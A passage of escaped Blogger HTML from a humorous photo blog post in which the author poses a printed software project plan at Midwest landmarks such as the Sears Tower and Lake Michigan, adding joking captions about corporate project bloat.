href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JXspRx1I/AAAAAAAAAMQ/eNtTwGP6LBA/s1600-h/P0700.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JXspRx1I/AAAAAAAAAMQ/eNtTwGP6LBA/s400/P0700.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310453166458706" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...and defaced in 2001.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JXV6iu_I/AAAAAAAAAMI/bNpWLe18_R0/s1600-h/P0710.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JXV6iu_I/AAAAAAAAAMI/bNpWLe18_R0/s400/P0710.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310447064857586" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I don't think I can reach that high...  Hey!  A little determination pays off!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JXFuXSzI/AAAAAAAAAMA/Um1F0ywI8fQ/s1600-h/P0720.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JXFuXSzI/AAAAAAAAAMA/Um1F0ywI8fQ/s400/P0720.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310442718808882" border="0"&gt;&lt;/a&gt;&lt;br /&gt;An old fallout shelter at the courthouse!  I wonder if it can protect me from the fallout from this project?&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JJAnx4VI/AAAAAAAAALw/RQf2nJxTw1k/s1600-h/P0820.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JJAnx4VI/AAAAAAAAALw/RQf2nJxTw1k/s400/P0820.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310200830845266" border="0"&gt;&lt;/a&gt;&lt;br /&gt;This deserves a risk assessment matrix!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6JI743gFI/AAAAAAAAALo/CIrtAOLauVw/s1600-h/P0830.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6JI743gFI/AAAAAAAAALo/CIrtAOLauVw/s400/P0830.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310199560339538" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Downtown Indianapolis.  A memorial to Indiana's fallen Veterans...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6JIVs5mCI/AAAAAAAAALg/kDLeHmTrFhs/s1600-h/P0950.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6JIVs5mCI/AAAAAAAAALg/kDLeHmTrFhs/s400/P0950.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310189309597730" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...and now Indiana's fallen programmers too.  (I went to college in Indiana)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JIUekP0I/AAAAAAAAALY/2BmNpBADscY/s1600-h/P0970.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JIUekP0I/AAAAAAAAALY/2BmNpBADscY/s400/P0970.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310188981043010" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hmmmm...I guess I could call the number...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU7d6yFxqCI/AAAAAAAAAOI/YwzN-ZJnpjk/s1600-h/P1010076.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU7d6yFxqCI/AAAAAAAAAOI/YwzN-ZJnpjk/s400/P1010076.JPG" alt="" id="BLOGGER_PHOTO_ID_5282403414900320290" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...or just leave my problems on their front door.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JIG6JvhI/AAAAAAAAALQ/jztBm1XcPro/s1600-h/P1010.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JIG6JvhI/AAAAAAAAALQ/jztBm1XcPro/s400/P1010.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310185338650130" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is Cedar Rapids Iowa.  Even a little town like this has a science museum!  And yet a big city like Kansas City does not!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6IuqOitqI/AAAAAAAAALI/vcbVnjE3tYY/s1600-h/P1110.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6IuqOitqI/AAAAAAAAALI/vcbVnjE3tYY/s400/P1110.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309748142814882" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Science meets Project Fiction!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6Iued117I/AAAAAAAAALA/y0TaIKcZ8io/s1600-h/P1130.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6Iued117I/AAAAAAAAALA/y0TaIKcZ8io/s400/P1130.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309744985757618" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It almost seems redundant to attach this to a trash bag.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IuaoNHyI/AAAAAAAAAK4/Vg0sIxtLYnw/s1600-h/P1140.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IuaoNHyI/AAAAAAAAAK4/Vg0sIxtLYnw/s400/P1140.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309743955484450" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The parking fee has been increased from 50 cents to 25,000 man hours!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6Itl8ECtI/AAAAAAAAAKw/XKUPbek8ThU/s1600-h/P1150.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6Itl8ECtI/AAAAAAAAAKw/XKUPbek8ThU/s400/P1150.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309729811696338" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At the Space Museum:     "Huston, we have a problem..."&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Ir8UyqsI/AAAAAAAAAKo/Le1Ug9VbY6s/s1600-h/P1160.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Ir8UyqsI/AAAAAAAAAKo/Le1Ug9VbY6s/s400/P1160.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309701461256898" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"Roger that Apollo...we see it too..."&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IdbE5PII/AAAAAAAAAKg/KXF99Gm1Z6s/s1600-h/P1170.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IdbE5PII/AAAAAAAAAKg/KXF99Gm1Z6s/s400/P1170.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309452018039938" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Welcome to Wisconsin!  Please fill out this form...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6Icyd431I/AAAAAAAAAKY/3ntHPVOvt94/s1600-h/P1185.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6Icyd431I/AAAAAAAAAKY/3ntHPVOvt94/s400/P1185.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309441117019986" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Whoa!  This thing is really tall!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IcriYI0I/AAAAAAAAAKQ/bSducKlqXaI/s1600-h/P1200.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IcriYI0I/AAAAAAAAAKQ/bSducKlqXaI/s400/P1200.JPG" alt="" id="BLOGGER_PHOTO_ID_5282309439256798018" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I want to hang a swing from up there....&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Ib5D1NtI/AAAAAAAAAKI/XRshiumYHSU/s1600-h/P1230.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Ib5D1NtI/AAAAAAAAAKI/XRshiumYHSU/s400/P1230.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309425706907346" border="0"&gt;&lt;/a&gt;&lt;br /&gt;...but this is the next-best thing I can do.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Ibq-7xyI/AAAAAAAAAKA/NK9wVaHQSkw/s1600-h/P1250.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Ibq-7xyI/AAAAAAAAAKA/NK9wVaHQSkw/s400/P1250.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309421928269602" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ah, the Sears Tower!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6IIYXqMyI/AAAAAAAAAJ4/4d-DPxtJcPE/s1600-h/P1300.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6IIYXqMyI/AAAAAAAAAJ4/4d-DPxtJcPE/s400/P1300.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309090514187042" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A monumental building meets a monumental software process!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IIKW-6lI/AAAAAAAAAJw/ZpOlsZaCHBU/s1600-h/P1350.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6IIKW-6lI/AAAAAAAAAJw/ZpOlsZaCHBU/s400/P1350.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309086753253970" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Want a thrill sometime?  Try running up to the Sears Tower holding a duffel bag and a roll of duct tape and a camera...just two months after 9/11.  Nobody came to talk to me, but I wouldn't be surprised if I got put on a "list" somewhere.  I feel sorry for any agent who would have to follow some as boring and harmless as me!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6IIA1IIbI/AAAAAAAAAJo/-5GVzZckbuA/s1600-h/P1360.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6IIA1IIbI/AAAAAAAAAJo/-5GVzZckbuA/s400/P1360.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309084195332530" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Endangered species meets endangered company!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6IH5txztI/AAAAAAAAAJg/kPXlFOOQD-8/s1600-h/P1690.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6IH5txztI/AAAAAAAAAJg/kPXlFOOQD-8/s400/P1690.jpg" alt="" id="BLOGGER_PHOTO_ID_5282309082285461202" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wow!  What a nice view from the top of the Sears Tower!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6IHi65xCI/AAAAAAAAAJY/f5hM32MdjBk/s1600-h/P2020.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6IHi65xCI/AAAAAAAAAJY/f5hM32MdjBk/s400/P2020.JPG" alt="" id="BLOGGER_PHOTO_ID_5282309076166493218" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Wow!  What a view!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Hy8MpIeI/AAAAAAAAAJQ/cxiMD-TfyeA/s1600-h/P2030.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Hy8MpIeI/AAAAAAAAAJQ/cxiMD-TfyeA/s400/P2030.JPG" alt="" id="BLOGGER_PHOTO_ID_5282308722174534114" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wow!  What a view!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HyozFL_I/AAAAAAAAAJI/W7-quygP5GI/s1600-h/P2060.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HyozFL_I/AAAAAAAAAJI/W7-quygP5GI/s400/P2060.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308716967047154" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Wow!  What a....OH MY GOD NO!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HyLJRkeI/AAAAAAAAAJA/xZPRRFXD7vA/s1600-h/P2090.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HyLJRkeI/AAAAAAAAAJA/xZPRRFXD7vA/s400/P2090.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308709007069666" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Consolidated Enrollments and Solicitation Grid, Project Code XKG 300034 v 1.3 - DRAFT VERSION...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HxcueNEI/AAAAAAAAAIw/gTR46j_qsJY/s1600-h/P2200.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HxcueNEI/AAAAAAAAAIw/gTR46j_qsJY/s400/P2200.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308696546620482" border="0"&gt;&lt;/a&gt;&lt;br /&gt;... vs. Lake Michigan!!!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6HjlSMZBI/AAAAAAAAAIo/q0Rj-vW0W4Y/s1600-h/P2210.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6HjlSMZBI/AAAAAAAAAIo/q0Rj-vW0W4Y/s400/P2210.JPG" alt="" id="BLOGGER_PHOTO_ID_5282308458325763090" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Lake Michigan wins!  Yay!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HjLO1kCI/AAAAAAAAAIg/vfThgom76BU/s1600-h/P2220.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HjLO1kCI/AAAAAAAAAIg/vfThgom76BU/s400/P2220.JPG" alt="" id="BLOGGER_PHOTO_ID_5282308451332362274" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But the lake tossed back one of our brochures.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6His2O9cI/AAAAAAAAAIY/33lDmGY4MWA/s1600-h/P2260.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6His2O9cI/AAAAAAAAAIY/33lDmGY4MWA/s400/P2260.JPG" alt="" id="BLOGGER_PHOTO_ID_5282308443176105410" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Handful of cookies...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HiOFnr-I/AAAAAAAAAIQ/1bVw8njKqgo/s1600-h/P2290.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HiOFnr-I/AAAAAAAAAIQ/1bVw8njKqgo/s400/P2290.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308434919141346" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Seagulls eat cookies...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Hh1r-kiI/AAAAAAAAAII/1IhdbjuBU_M/s1600-h/P2291.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Hh1r-kiI/AAAAAAAAAII/1IhdbjuBU_M/s400/P2291.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308428369138210" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Handful of project plan...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HKxbYuRI/AAAAAAAAAIA/45i1mDQgNHU/s1600-h/P2293.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HKxbYuRI/AAAAAAAAAIA/45i1mDQgNHU/s400/P2293.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308032088815890" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Seagulls don't eat the project plan.  Smart birds.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HKq7z_xI/AAAAAAAAAH4/Qh8FQaCCyuM/s1600-h/P2294.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HKq7z_xI/AAAAAAAAAH4/Qh8FQaCCyuM/s400/P2294.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308030345772818" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Now I'm in a grassy field.  I don't want to get lost...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HKcZMCHI/AAAAAAAAAHw/e1jGKEgxbbs/s1600-h/P3020.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6HKcZMCHI/AAAAAAAAAHw/e1jGKEgxbbs/s400/P3020.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308026442451058" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...so I leave these to mark my trail...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HKU7C6UI/AAAAAAAAAHo/zdHsT3lorto/s1600-h/P3030.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6HKU7C6UI/AAAAAAAAAHo/zdHsT3lorto/s400/P3030.jpg" alt="" id="BLOGGER_PHOTO_ID_5282308024436975938" border="0"&gt;&lt;/a&gt;&lt;br /&gt;This doesn't look good...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Gxv-evkI/AAAAAAAAAHY/sfrwFDQJ6FA/s1600-h/P3100.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Gxv-evkI/AAAAAAAAAHY/sfrwFDQJ6FA/s400/P3100.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307602202410562" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wow...this thing is a death trap!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6GxBoFwYI/AAAAAAAAAHQ/j6SPAp2CE6o/s1600-h/P3105.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6GxBoFwYI/AAAAAAAAAHQ/j6SPAp2CE6o/s400/P3105.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307589760467330" border="0"&gt;&lt;/a&gt;&lt;br /&gt;What they need is insurance!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GwwKlufI/AAAAAAAAAHI/TipmBxOa3ag/s1600-h/P3130.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GwwKlufI/AAAAAAAAAHI/TipmBxOa3ag/s400/P3130.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307585073330674" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I thought about crumpling some pages up so this woodchuck could pad his nest with them for winter.  But those pages are probably full of toxic inks (and toxic language).  Besides, that would turn these documents into something USEFUL, and we can't have that.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Gwh3WZAI/AAAAAAAAAHA/Zpn9vSxQO5A/s1600-h/p3132.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 273px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6Gwh3WZAI/AAAAAAAAAHA/Zpn9vSxQO5A/s400/p3132.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307581234537474" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Oh boy....a motel room for $19.99 per night...that just screams "quality".  And what on Earth is an "E. Room"?   Does that mean it has E-lectricity?  Or a fire E-scape?&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GwJQ7ohI/AAAAAAAAAG4/QwFlw8QRfnw/s1600-h/P3150.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GwJQ7ohI/AAAAAAAAAG4/QwFlw8QRfnw/s400/P3150.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307574630949394" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Free project documentation for each room!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GYjQunnI/AAAAAAAAAGw/vmIYtVusZSI/s1600-h/P3170.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6GYjQunnI/AAAAAAAAAGw/vmIYtVusZSI/s400/P3170.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307169292557938" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;24 hour surveillance?&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GYCWHKfI/AAAAAAAAAGo/F0sY5ARwlnE/s1600-h/P3200.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6GYCWHKfI/AAAAAAAAAGo/F0sY5ARwlnE/s400/P3200.jpg" alt="" id="BLOGGER_PHOTO_ID_5282307160456767986" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I bet they didn't see THAT coming!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6GX6rm81I/AAAAAAAAAGg/vTcdVWMMgac/s1600-h/P3210.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" 